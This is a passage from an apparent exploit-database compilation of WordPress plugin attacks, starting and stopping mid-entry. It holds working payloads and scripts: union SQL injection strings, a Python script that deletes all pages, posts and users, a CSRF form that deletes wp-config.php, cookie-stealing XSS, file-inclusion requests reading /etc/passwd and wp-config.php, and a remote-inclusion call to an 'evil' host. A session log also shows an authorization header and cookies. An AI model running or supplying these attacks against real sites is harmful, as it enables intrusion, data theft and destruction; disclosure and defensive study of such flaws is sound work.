http://localhost:10003/wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/index&action=1&ajax=1

# POC Code Execution:

/etc/index.php:

<?php echo "Local file read"; phpinfo(); ?>
            
##################################################################################################
#Exploit Title : Wordpress Plugin 'Business Intelligence' Remote SQL Injection vulnerability
#Author        : Jagriti Sahu AKA Incredible
#Vendor Link   : https://www.wpbusinessintelligence.com
#Download Link : https://downloads.wordpress.org/plugin/wp-business-intelligence-lite.1.6.1.zip
#Date          : 1/04/2015
#Discovered at : IndiShell Lab
#Love to       : error1046 ^_^ ,Team IndiShell,Codebreaker ICA ,Subhi,Mrudu,Hary,Kavi ^_^
##################################################################################################

////////////////////////
/// Overview:
////////////////////////

Wordpress plugin "Business Intelligence" is not filtering data in GET parameter  ' t ', which in is file 'view.php'
and passing user supplied data to SQL queries' hence SQL injection vulnerability has taken place.



///////////////////////////////
// Vulnerability Description: /
///////////////////////////////

vulnerability is due to parameter " t " in file 'view.php'.
user can inject sql query using GET parameter 't'


////////////////
///  POC   ////
///////////////


POC Image URL--->
=================
http://tinypic.com/view.php?pic=r8dyl0&s=8#.VRrvcuHRvIU


SQL Injection in parameter 't' (file 'view.php'):
=================================================

Injectable Link--->    http://server/wp-content/plugins/wp-business-intelligence/view.php?t=1

Union based SQL injection exist in the parameter which can be exploited as follows:


Payload used in Exploitation for Database name --->

http://server/wp-content/plugins/wp-business-intelligence/view.php
?t=1337+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database()--+


###
EDB Note: PoC might need work depending on version of plugin.
The provided software link is for the lite version.
Tested with following PoC: 
wp-content/plugins/wp-business-intelligence-lite/view.php?t=1 and 1=1
wp-content/plugins/wp-business-intelligence-lite/view.php?t=1 and 1=2
###


###################################################################################################


				   --==[[Special Thanks to]]==--

			          #  Manish Kishan Tanwar  ^_^ #
            
# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure
# Date 04.10.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://forum.ait-pro.com/read-me-first/
# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip
# Version: <= 5.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39327
# CWE: CWE-200
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md


'''
Description:
The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible 
~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. 
This affects versions up to, and including, 5.1.
'''

'''
'Banner:
'''
banner = '''
  ______     _______     ____   ___ ____  _      _____ ___ _________ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ // _ \___ /___ \___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_____ |_ \ (_) ||_ \ __) | / / 
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____|__) \__, |__) / __/ / /  
 \____|  \_/  |_____|   |_____|\___/_____|_|    |____/  /_/____/_____/_/   
                                                                           
                                * Sensitive information disclosure
                                @ Author: Ron Jost
'''
print(banner)


import argparse 
import requests

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
print('')
print('[*] Starting Exploit:')
print('')

paths = ["/wp-content/bps-backup/logs/db_backup_log.txt",  "/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt"]

# Exploit
for pathadd in paths:
    x = requests.get("http://" + target_ip + ':' + target_port + '/' + wp_path + pathadd)
    print(x.text)
            
'''
* Exploit Title: WordPress Bulk Delete Plugin [Privilege Escalation]
* Discovery Date: 2016-02-10
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://bulkwp.com/
* Software Link: https://wordpress.org/plugins/bulk-delete/
* Version: 5.5.3
* Tested on: WordPress 4.4.2
* Category: WebApps, WordPress


Description
-----------

_Bulk Delete_ plugin for WordPress suffers from a privilege escalation
vulnerability. Any registered user can exploit the lack of capabilities
checks to perform all administrative tasks provided by the _Bulk Delete_
plugin. Some of these actions, but not all, are:

- `bd_delete_pages_by_status`: deletes all pages by status
- `bd_delete_posts_by_post_type`: deletes all posts by type
- `bd_delete_users_by_meta`: delete all users with a specific pair of
meta name, meta value

Nearly all actions registered by this plugin can be performed from any
user, as long as they passed to a query var named `bd_action` and the
user has a valid account. These actions would normally require
administrative wrights, so we can consider this as a privilege
escalation vulnerability.

PoC
---

The following script will delete all pages, posts and users from the
infected website.
'''

#!/usr/bin/python3

################################################################################
# Bulk Delete Privilege Escalation Exploit
#
# **IMPORTANT** Don't use this in a production site, if vulnerable it will
# delete nearly all your sites content
#
# Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
################################################################################

import requests

loginUrl = 'http://example.com/wp-login.php'
adminUrl = 'http://example.com/wp-admin/index.php'

loginPostData = {
'log': 'username',
'pwd': 'password',
'rememberme': 'forever',
'wp-submit': 'Log+In'
}

l = requests.post(loginUrl, data=loginPostData)

if l.status_code != 200 or len(l.history) == 0 or
len(l.history[0].cookies) == 0:
print("Couldn't acquire a valid session")
exit(1)

loggedInCookies = l.history[0].cookies

def do_action(action, data):
try:
requests.post(
adminUrl + '?bd_action=' + action,
data=data,
cookies=loggedInCookies,
timeout=30
)
except TimeoutError:
print('Action ' + action + ' timed out')
else:
print('Action ' + action + ' performed')

print('Deleting all pages')
do_action(
'delete_pages_by_status',
{
'smbd_pages_force_delete': 'true',
'smbd_published_pages': 'published_pages',
'smbd_draft_pages': 'draft_pages',
'smbd_pending_pages': 'pending_pages',
'smbd_future_pages': 'future_pages',
'smbd_private_pages': 'private_pages',
}
)

print('Deleting all posts from all default post types')
do_action('delete_posts_by_post_type', {'smbd_types[]': [
'post',
'page',
'attachment',
'revision',
'nav_menu_item'
]})

print('Deleting all users')
do_action(
'delete_users_by_meta',
{
'smbd_u_meta_key': 'nickname',
'smbd_u_meta_compare': 'LIKE',
'smbd_u_meta_value': '',
}
)

exit(0)


'''
Solution
--------

Upgrade to v5.5.4

Timeline
--------

1. **2016-02-10**: Requested CVE ID
2. **2016-02-10**: Vendor notified through wordpress.org support forums
3. **2016-02-10**: Vendor notified through the contact form at bulkwp.com
4. **2016-02-10**: Vendor responded and received details about the issue
5. **2016-02-10**: Vendor verified vulnerability
6. **2016-02-13**: Vendor released v5.5.4 which resolves this issue
'''
            
Details
================
Software: BuddyPress Activity Plus
Version: 1.5
Homepage: http://wordpress.org/plugins/buddypress-activity-plus/
Advisory report: https://security.dxw.com/advisories/csrf-and-arbitrary-file-deletion-in-buddypress-activity-plus-1-5/
CVE: Awaiting assignment
CVSS: 8.5 (High; AV:N/AC:L/Au:N/C:N/I:P/A:C)

Description
================
CSRF and arbitrary file deletion in BuddyPress Activity Plus 1.5

Vulnerability
================
An attacker can delete any file the PHP process can delete.
For this to happen, a logged-in user would have to be tricked into clicking on a link controlled by the attacker. It is easy to make these links very convincing.

Proof of concept
================
Ensure your PHP user can do maximum damage:
sudo chown www-data:www-data /var/vhosts/my-wordpress-site
Visit a page containing this as a logged-in user and click submit:
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
  <input type=\"text\" name=\"action\" value=\"bpfb_remove_temp_images\">
  <input type=\"text\" name=\"data\" value=\"bpfb_photos[]=../../../../wp-config.php\">
  <input type=\"submit\">
</form>
If the server is set up so that the php user has more restricted permissions, then an attacker will at least be able to delete files from the uploads directory.
Note that you can also delete as many things as you like at once – $_POST[‘data’] is run through parse_str() which parses it as a query string, so just keep adding “&bpfb_photos[]=path/to/file” to the end until you have all known files.
There is an identical attack available only when BP Group Documents is also installed. Just replace “bpfb_remove_temp_images” with “bpfb_remove_temp_documents” and in data replace “bpfb_photos” with “bpfb_documents”.

Mitigations
================
Upgrade to version 1.6.2 or later
If this is not possible, ensure that the PHP user on the server does not have permission to delete files like wp-config.php.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2013-08-22: Discovered
2015-07-13: Reported to vendor via contact form at https://premium.wpmudev.org/contact/
2015-07-13: Requested CVE
2015-07-13: Vendor responded
2015-07-14: Vendor reported issue fixed
2015-07-14: Published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
          
            
# Exploit Title: WordPress Plugin Buddypress 6.2.0 - Persistent Cross-Site Scripting
# Exploit Author: Vulnerability-Lab
# Date: 2020-11-13
# Vendor Homepage: https://wordpress.org/plugins/buddypress/
# Version: 6.2.0

Document Title:
===============
Buddypress v6.2.0 WP Plugin - Persistent Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2263


Release Date:
=============
2020-11-13


Vulnerability Laboratory ID (VL-ID):
====================================
2263


Common Vulnerability Scoring System:
====================================
4.2


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Are you looking for modern, robust, and sophisticated social network
software? BuddyPress is a suite of components that are common
to a typical social network, and allows for great add-on features
through WordPress’s extensive plugin system. Aimed at site builders
& developers, BuddyPress is focused on ease of integration, ease of use,
and extensibility. It is deliberately powerful yet unbelievably
simple social network software, built by contributors to WordPress.

(Copy of the Homepage: https://wordpress.org/plugins/buddypress/ &
https://buddypress.org/download/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent
xss web vulnerability in the Buddypress v6.2.0 plugin for wordpress.


Affected Product(s):
====================
Buddypress
Product: Buddypress v6.0.0 - v6.2.0 (Wordpress Plugin)



Vulnerability Disclosure Timeline:
==================================
2020-11-13: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Moderator Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered  in
the Buddypress v6.0.0 - v6.2.0 plugin for wordpress.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent vulnerability is located in the `wp:html` name parameter
of the `figure` content. Remote attackers with privileges
are able to inject own malicious persistent script code as input to
compromise the internal ui of the wordpress backend. The attacker
injects his code and in case the admin or other privileged user account
previews the content the code simple executes. The request method
to inject is POST and the attack vector is located on the application-side.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] wp:html

Vulnerable Parameter(s):
[+] figure

Affected Module(s):
[+] page_id=x&preview=true


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by remote attackers
with privilged user accounts without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


PoC: Inject
https://test23.localhost:8000/wp-admin/post.php?post=6&action=edit


PoC: Execute
https://test23.localhost:8000/?page_id=6
https://test23.localhost:8000/?page_id=6&preview=true


PoC: Vulnerable Source
<div id="content" class="site-content">
<div class="wrap">
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">		
<article id="post-6" class="post-6 page type-page status-draft hentry">
<header class="entry-header">
<h1 class="entry-title">Mitglieder</h1><span class="edit-link">
<a class="post-edit-link"
href="https://test23.localhost:8000/wp-admin/post.php?post=6&action=edit">
<span class="screen-reader-text">„Mitglieder“</span>
bearbeiten</a></span>	</header><!-- .entry-header -->
<div class="entry-content">
<p></p>
<div class="wp-block-group"><div class="wp-block-group__inner-container">
<div class="wp-block-group"><div
class="wp-block-group__inner-container"></div></div>
</div></div>
<figure><iframe src="evil.source"
onload="alert(document.cookie)"></iframe></figure>
</div><!-- .entry-content -->
</article><!-- #post-6 -->
</main><!-- #main -->
</div><!-- #primary -->
</div><!-- .wrap -->
</div>


--- PoC Session Logs (POST) ---
https://test23.localhost:8000/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F6&_locale=user
Host: test23.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0
Accept: application/json, */*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://test23.localhost:8000/wp-admin/post.php?post=6&action=edit
X-WP-Nonce: 04a953e188
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: https://test23.localhost:8000
Content-Length: 614
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Cookie:
g3sid=bdbf56f2335bbce0720f03ed25343b66db61b54a%7E6a5nrndvh14i5kb09tfrl7afe2;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_55a3fb1cb724d159a111224c7f110400=admin_f507c7w4%7C1589912472%7CxTSn77nlwpdxYR8NUaJOXfQM9ShaBlSLzP7Anix
xNt8%7C557ca2874863d9f1f6a8316659798e11558a01ffc8671eea68d496aa5df99b17;
wp-settings-time-1=1589740723
{"id":6,"content":"<!-- wp:paragraph -->n<p></p>n<!-- /wp:paragraph
-->nn<!-- wp:group -->n<div class="wp-block-group">
<div class="wp-block-group__inner-container"><!-- wp:group -->n<div
class="wp-block-group"><div class="wp-block-group__inner-container">
<!-- wp:block {"ref":"reusable1"} /--></div></div>n<!-- /wp:group
--></div></div>n<!-- /wp:group -->nn
<!-- wp:block {"ref":"reusable1"} /-->nn<!-- wp:block
{"ref":"reusable1"} /-->nn
<!-- wp:html -->n<figure><iframe src="evil.source"
onload="alert(document.cookie)"></iframe></figure>n<!-- /wp:html
-->nn<!-- wp:bp/member /-->"}
-
POST: HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate, max-age=0
Allow: GET, POST, PUT, PATCH, DELETE
Content-Type: application/json; charset=UTF-8
Vary: Origin
Server: Microsoft-IIS/8.5
X-Robots-Tag: noindex
Link: <https://test23.localhost:8000/index.php?rest_route=/>;
rel="https://api.w.org/"
Content-Length: 3108


References:
https://test23.localhost:8000/index.php
https://test23.localhost:8000/wp-admin/post.php


Security Risk:
==============
The security risk of the persistent input validation web vulnerability
in the web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com			
www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com
paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 		
youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
            
source: https://www.securityfocus.com/bid/49765/info

Multiple products are prone to an HTML-injection vulnerability because they fail to sufficiently sanitize user-supplied input.

An attacker could exploit this vulnerability to execute arbitrary script code in the browser of an unsuspecting victim in the context of the affected websites. This may allow the attacker to steal cookie-based authentication credentials or control how the websites are rendered to the user. Other attacks are also possible.

The following products are affected:

WordPress 3.1.4
BuddyPress 1.2.10
Blogs MU 1.2.6 

One of the functionalities of Zyncro is the possibility of creating
groups. The name and description of the groups are not correctly
sanitized and it's possible to provoke some attacks.

In order to do the attack, you must create a new group and capture the
packet transferred to the server to modify it because validation is
done in client-side (only) using javascript.

The original request has three POST data parameters like:
popup=1   &   name=dGVzdA%3D%3D   &   description=dGVzdA%3D%3D

Important data are 'name' and 'description' parameters, which are
base64 encoded. In this case, both values are 'test':
 url_decode(dGVzdA%3D%3D)
 b64decode(dGVzdA==)
 test

It is possible to provoke the XSS by changing those values as follows:
"><script>alert("XSS attack")</script>

Values MUST be in base64, so:
b64encode(""><script>alert("XSS attack")</script>") =
Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4=

Finally the post-data of the request would become:
popup=1&name=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d&description=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d

Once the request has reached the server, a new group would be created
and any time that someone sees the name/description of the group, a
pop-up would appear, this is the easiest attack.
            
source: https://www.securityfocus.com/bid/48714/info

The bSuite plug-in for WordPress is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code could be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks may also be possible.

bSuite versions 4.0.7 and prior are vulnerable. 


The following example URIs are available:

http://www.example.com/wordpress/?s=<h2>XSSED</h2>

http://www.example.com/wordpress/?p=1&<h1>XSSED</h1> 
            
source: https://www.securityfocus.com/bid/68488/info

BSK PDF Manager plugin for WordPress is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

BSK PDF Manager 1.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager-pdfs&view=edit&pdfid=1 and 1=2

http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1 and 1=2 
            
# Exploit Title: Wordpress brandfolder plugin / RFI & LFI
# Google Dork: inurl:wp-content/plugins/brandfolder
# Date: 03/22/2016
# Exploit Author: AMAR^SHG
# Vendor Homepage: https://brandfolder.com
# Software Link: https://wordpress.org/plugins/brandfolder/
# Version: <=3.0
# Tested on: WAMP / Windows

I-Details
The vulnerability occurs at the first lines of the file callback.php:

<?php
  ini_set('display_errors',1);
  ini_set('display_startup_errors',1);
  error_reporting(-1);

  require_once($_REQUEST['wp_abspath']  . 'wp-load.php');
  require_once($_REQUEST['wp_abspath']  . 'wp-admin/includes/media.php');
  require_once($_REQUEST['wp_abspath']  . 'wp-admin/includes/file.php');
  require_once($_REQUEST['wp_abspath']  . 'wp-admin/includes/image.php');
  require_once($_REQUEST['wp_abspath']  . 'wp-admin/includes/post.php');

$_REQUEST is based on the user input, so as you can guess,
an attacker can depending on the context, host on a malicious server
a file called wp-load.php, and disable its execution using an htaccess, or
abuse the null byte character ( %00, %2500 url-encoded)

II-Proof of concept
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=LFI/RFI
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php%00
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=http://evil/

Discovered by AMAR^SHG (aka kuroi'sh).
Greetings to RxR & Nofawkx Al & HolaKo
            
source: https://www.securityfocus.com/bid/68556/info

BookX plugin for WordPress is prone to a local file-include vulnerability because it fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information; other attacks are also possible.

BookX plugin 1.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../../../../../etc/passwd

http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../wp-config.php 
            
source: https://www.securityfocus.com/bid/67535/info

Search Everything plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Booking System (Booking Calendar) 1.3 are vulnerable. 

www.example.com/wp/wp-admin/admin-ajax.php?action=dopbs_show_booking_form_fields&booking_form_id=[SQLi] 
            
# Exploit Title: WordPress appointment-booking-calendar <=1.1.24 - Privilege escalation (Managing calendars) & Persistent XSS
# Date: 2016-01-28
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [ i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.24
# Tested on: windows 10 + firefox + sqlmap 1.0.

===================
PRODUCT DESCRIPTION
===================
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in 
a calendar**. The booking form is linked to a **PayPal** payment process.

You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings 
that can be accepted for each time-slot."

(copy of readme file)


======================
EXPLOITATION TECHNIQUE
======================
remote

==============
SEVERITY LEVEL
==============

medium

================================
TECHNICAL DETAILS && DESCRIPTION
================================

Multiple privilege escalation were found in appointment-booking-calendar plugin that allows remote low level
and unauthenticated users to update calendar owners and options (allowing persistent XSS).

================
PROOF OF CONCEPT
================

Changing all appointment tables with UTF-8 charset, injecting persistent XSS into ´ict´ and ´ics´ options and setting
´CPABC_APPOINTMENTS_LOAD_SCRIPTS´ option to value ´1´.

<html>
  <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://localhost:80/wordpress/wp-admin/admin.php?page=cpabc_appointments&ac=st&chs=UTF-8&ict=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&ics=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&scr=1", true);
        xhr.send();
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>


Updating calendar with id 1 and setting name with persistent XSS (if the shortcode [CPABC_APPOINTMENT_CALENDAR calendar="1"] 
is added in a post, the injected XSS will appear, in administration page appear too).

<html>
  <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://localhost:80/wordpress/wp-admin/admin.php?page=cpabc_appointments&u=1&owner=5&name=%3C%2Foption%3E%3C%2Fselect%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2Fjoaquin%2F%29%3E%3C", true);
        xhr.send();
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

==========
 CREDITS
==========

Vulnerability discovered by:
	Joaquin Ramirez Martinez [i0 security-lab]
	joaquin.ramirez.mtz.lab[at]yandex[dot]com
	https://www.facebook.com/I0-security-lab-524954460988147/
	https://www.youtube.com/user/strparser_lk


========
TIMELINE
========

2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
            
# Exploit Title: WordPress appointment-booking-calendar <=1.1.24 - SQL injection through ´addslashes´ (wordpress ´wp_magic_quotes´ function)
# Date: 2016-01-28
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [now i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.24
# OWASP Top10: A1-Injection
# Tested on: windows 10 + firefox + sqlmap 1.0.

===================
PRODUCT DESCRIPTION
===================
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in 
a calendar**. The booking form is linked to a **PayPal** payment process.

You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings 
that can be accepted for each time-slot."

(copy of readme file)


======================
EXPLOITATION TECHNIQUE
======================
remote

==============
SEVERITY LEVEL
==============

critical

================================
TECHNICAL DETAILS && DESCRIPTION
================================

A SQL injection flaw was discovered within the latest WordPress appointment-booking-calendar plugin version 1.1.24.

The flaw were found in the function that is executed when the action ´cpabc_appointments_calendar_update´ is called.
The action is added with ´init´ tag, so it function is called every time when parameter 
´action=cpabc_appointments_calendar_update´ appear in the query string (GET request) or POST request.

Exploiting succesful this vulnerability we need a vulnerable wordpress site with especial character set for to bypass
the ´addslashes´ function (called automatically and applied in all variables $_POST and $_GET by wordpress ´wp_magic_quotes´
function) and we need own a calendar too (could be owned by privilege escalation) or be a user with ´edit_pages´ permission (admin|editor).

The security risk of SQL injection vulnerabilities are extremely because by using this type of flaw, an attacker
can compromise the entire web server.

================
PROOF OF CONCEPT
================

An unauthenticated attacker can make a request like...

http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=cpabc_appointments_check_posted_data
&cpabc_calendar_update=1&id=<owned calendar id>

Example:

	Exploiting simple SQL injection:

	http://localhost/wordpress/wp-admin/admin-ajax.php?action=cpabc_appointments_calendar_update
	&cpabc_calendar_update=1&id=1
	
	Post data:
	specialDates=&workingDates&restrictedDates&timeWorkingDates0&timeWorkingDates1&timeWorkingDates2
	&timeWorkingDates3&timeWorkingDates4&timeWorkingDates5&	imeWorkingDates6  

All post variables are vulnerable to SQLi with ´addslashes´ bypass.

===============
VULNERABLE CODE
===============

located in ´cpabc_appointments.php´

function cpabc_appointments_calendar_update() {
    global $wpdb, $user_ID;

	if ( ! isset( $_GET['cpabc_calendar_update'] ) || $_GET['cpabc_calendar_update'] != '1' )
		return;

    $calid = intval(str_replace  (CPABC_TDEAPP_CAL_PREFIX, "",$_GET["id"]));
    if ( ! current_user_can('edit_pages') && !cpabc_appointments_user_access_to($calid) )
        return;
echo "sa";
    cpabc_appointments_add_field_verify(CPABC_TDEAPP_CONFIG, 'specialDates');

    //@ob_clean();
    header("Cache-Control: no-store, no-cache, must-revalidate");
    header("Pragma: no-cache");
    if ( $user_ID )    
        $wpdb->query("update  ".CPABC_TDEAPP_CONFIG." set specialDates='".$_POST["specialDates"]."',".CPABC_TDEAPP_CONFIG_WORKINGDATES."='"
		.$_POST["workingDates"]."',".CPABC_TDEAPP_CONFIG_RESTRICTEDDATES."='".$_POST["restrictedDates"]."',".CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES0.
		"='".$_POST["timeWorkingDates0"]."',".CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES1."='".$_POST["timeWorkingDates1"]."',".
		CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES2."='".$_POST["timeWorkingDates2"]."',".CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES3."='"
		.$_POST["timeWorkingDates3"]."',".CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES4."='".$_POST["timeWorkingDates4"]."',"
		.CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES5."='".$_POST["timeWorkingDates5"]."',".CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES6
		."='".$_POST["timeWorkingDates6"]."'  where ".CPABC_TDEAPP_CONFIG_ID."=".$calid);

    exit();
}


===========


Note:
cpabc_appointments_calendar_update2() function is vulnerable too by the same exploit explaned here.


==========
 CREDITS
==========

Vulnerability discovered by:
	Joaquin Ramirez Martinez [i0 security-lab]
	strparser[at]gmail[dot]com
	https://www.facebook.com/I0-security-lab-524954460988147/
	https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q


========
TIMELINE
========

2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
2016-01-27 released plugin version 1.1.25
2016-01-28 public disclousure
            
# Exploit Title: WordPress appointment-booking-calendar <=1.1.23 - Unauthenticated SQL injection
# Date: 2016-01-26
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] --[now i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.23
# OWASP Top10: A1-Injection
# Tested on: windows 10 + firefox + sqlmap 1.0.

===================
PRODUCT DESCRIPTION
===================
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in 
a calendar**. The booking form is linked to a **PayPal** payment process.

You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings 
that can be accepted for each time-slot."

(copy of readme file)


======================
EXPLOITATION TECHNIQUE
======================
remote

==============
SEVERITY LEVEL
==============

critical

================================
TECHNICAL DETAILS && DESCRIPTION
================================

